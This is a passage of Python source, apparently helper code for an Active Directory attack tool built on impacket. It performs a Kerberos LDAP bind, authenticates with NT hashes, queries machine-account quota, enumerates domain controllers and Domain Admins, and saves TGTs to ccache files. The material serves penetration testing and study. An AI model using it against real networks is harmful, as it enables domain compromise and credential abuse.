[TypesMech['MS KRB5 - Microsoft Kerberos 5']] 169 | 170 | # Let's extract the ticket from the TGS 171 | tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] 172 | ticket = Ticket() 173 | ticket.from_asn1(tgs['ticket']) 174 | 175 | # Now let's build the AP_REQ 176 | apReq = AP_REQ() 177 | apReq['pvno'] = 5 178 | apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) 179 | 180 | opts = [] 181 | apReq['ap-options'] = constants.encodeFlags(opts) 182 | seq_set(apReq, 'ticket', ticket.to_asn1) 183 | 184 | authenticator = Authenticator() 185 | authenticator['authenticator-vno'] = 5 186 | authenticator['crealm'] = domain 187 | seq_set(authenticator, 'cname', userName.components_to_asn1) 188 | now = datetime.datetime.utcnow() 189 | 190 | authenticator['cusec'] = now.microsecond 191 | authenticator['ctime'] = KerberosTime.to_asn1(now) 192 | 193 | encodedAuthenticator = encoder.encode(authenticator) 194 | 195 | # Key Usage 11 196 | # AP-REQ Authenticator (includes application authenticator 197 | # subkey), encrypted with the application session key 198 | # (Section 5.5.1) 199 | encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) 200 | 201 | apReq['authenticator'] = noValue 202 | apReq['authenticator']['etype'] = cipher.enctype 203 | apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator 204 | 205 | blob['MechToken'] = encoder.encode(apReq) 206 | 207 | request = ldap3.operation.bind.bind_operation(connection.version, ldap3.SASL, user, None, 'GSS-SPNEGO', 208 | blob.getData()) 209 | 210 | # Done with the Kerberos saga, now let's get into LDAP 211 | if connection.closed: # try to open connection if closed 212 | connection.open(read_server_info=False) 213 | 214 | connection.sasl_in_progress = True 215 | response = connection.post_send_single_response(connection.send('bindRequest', request, None)) 216 | connection.sasl_in_progress = False 217 | if response[0]['result'] != 0: 218 | raise Exception(response) 219 | 220 | connection.bound = True 221 | 222 | return True 223 | 224 | def init_ldap_connection(target, tls_version, args, domain, username, password, lmhash, nthash): 225 | user = '%s\\%s' % (domain, username) 226 | if tls_version is not None: 227 | use_ssl = True 228 | port = 636 229 | tls = ldap3.Tls(validate=ssl.CERT_NONE, version=tls_version) 230 | else: 231 | use_ssl = False 232 | port = 389 233 | tls = None 234 | ldap_server = ldap3.Server(target, get_info=ldap3.ALL, port=port, use_ssl=use_ssl, tls=tls) 235 | if args.k: 236 | ldap_session = ldap3.Connection(ldap_server) 237 | ldap_session.bind() 238 | ldap3_kerberos_login(ldap_session, target, username, password, domain, lmhash, nthash, args.aesKey, kdcHost=args.dc_ip) 239 | elif args.hashes is not None: 240 | ldap_session = ldap3.Connection(ldap_server, user=user, password=lmhash + ":" + nthash, authentication=ldap3.NTLM, auto_bind=True) 241 | else: 242 | ldap_session = ldap3.Connection(ldap_server, user=user, password=password, authentication=ldap3.NTLM, auto_bind=True) 243 | 244 | return ldap_server, ldap_session 245 | 246 | 247 | def init_ldap_session(args, domain, username, password, lmhash, nthash): 248 | if args.k: 249 | target = get_machine_name(args, domain) 250 | else: 251 | if args.dc_ip is not None: 252 | target = args.dc_ip 253 | else: 254 | target = domain 255 | 256 | if args.use_ldaps is True: 257 | try: 258 | return init_ldap_connection(target, ssl.PROTOCOL_TLSv1_2, args, domain, username, password, lmhash, nthash) 259 | except ldap3.core.exceptions.LDAPSocketOpenError: 260 | return init_ldap_connection(target, ssl.PROTOCOL_TLSv1, args, domain, username, password, lmhash, nthash) 261 | else: 262 | return init_ldap_connection(target, None, args, domain, username, password, lmhash, nthash) 263 | 264 | 265 | def get_user_info(samname, ldap_session, domain_dumper): 266 | ldap_session.search(domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), 267 | attributes=['objectSid','ms-DS-MachineAccountQuota']) 268 | 269 | try: 270 | et = ldap_session.entries[0] 271 | js = et.entry_to_json() 272 | return json.loads(js) 273 | except IndexError: 274 | logging.error('Machine not found in LDAP: %s' % samname) 275 | return False 276 | 277 | 278 | def get_dc_host(ldap_session, domain_dumper): 279 | dc_host = None 280 | ldap_session.search( 281 | domain_dumper.root, 282 | '(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))', 283 | attributes=['name', 'dNSHostName'] 284 | ) 285 | dd = ldap_session.entries[0] 286 | js = dd.entry_to_json() 287 | return json.loads(js)['attributes'] 288 | 289 | 290 | def get_dc_hosts(ldap_session, domain_dumper): 291 | dc_host = None 292 | ldap_session.search( 293 | domain_dumper.root, 294 | '(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))', 295 | attributes=['name', 'dNSHostName'] 296 | ) 297 | dc_hosts = [] 298 | for dd in ldap_session.entries: 299 | js = dd.entry_to_json() 300 | attributes = json.loads(js)['attributes'] 301 | if len(attributes['name']) > 0: 302 | dc_hosts.append(attributes) 303 | return dc_hosts 304 | 305 | def get_domain_admins(ldap_session, domain_dumper): 306 | admins = [] 307 | dn = None 308 | ldap_session.search(domain_dumper.root, '(objectClass=group)', 309 | attributes=['objectSid']) 310 | for entrie in ldap_session.entries: 311 | js = json.loads(entrie.entry_to_json()) 312 | if js["attributes"]["objectSid"][0].endswith('-512'): 313 | dn = js['dn'] 314 | 315 | search_filter = f"(&(objectClass=person)(sAMAccountName=*)(memberOf:1.2.840.113556.1.4.1941:={dn}))" 316 | 317 | ldap_session.search(domain_dumper.root, search_filter, attributes=["sAMAccountName"]) 318 | for u in ldap_session.entries: 319 | admins.append(str(u['sAMAccountName'])) 320 | 321 | return admins 322 | 323 | 324 | 325 | class GETTGT: 326 | def __init__(self, target, password, domain, options): 327 | self.__password = password 328 | self.__user= target 329 | self.__domain = domain 330 | self.__lmhash = '' 331 | self.__nthash = '' 332 | self.__aesKey = None 333 | self.__options = options 334 | self.__kdcHost = options.dc_ip 335 | if options.hashes is not None: 336 | self.__lmhash, self.__nthash = options.hashes.split(':') 337 | 338 | def saveTicket(self, ticket, sessionKey): 339 | logging.info('Saving ticket in %s' % (self.__user + '.ccache')) 340 | from impacket.krb5.ccache import CCache 341 | ccache = CCache() 342 | 343 | ccache.fromTGT(ticket, sessionKey, sessionKey) 344 | ccache.saveFile(self.__user + '.ccache') 345 | 346 | def run(self): 347 | userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) 348 | tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, 349 | unhexlify(self.__lmhash), unhexlify(self.__nthash), self.__aesKey, 350 | self.__kdcHost) 351 | self.saveTicket(tgt,oldSessionKey) 352 | 353 | --------------------------------------------------------------------------------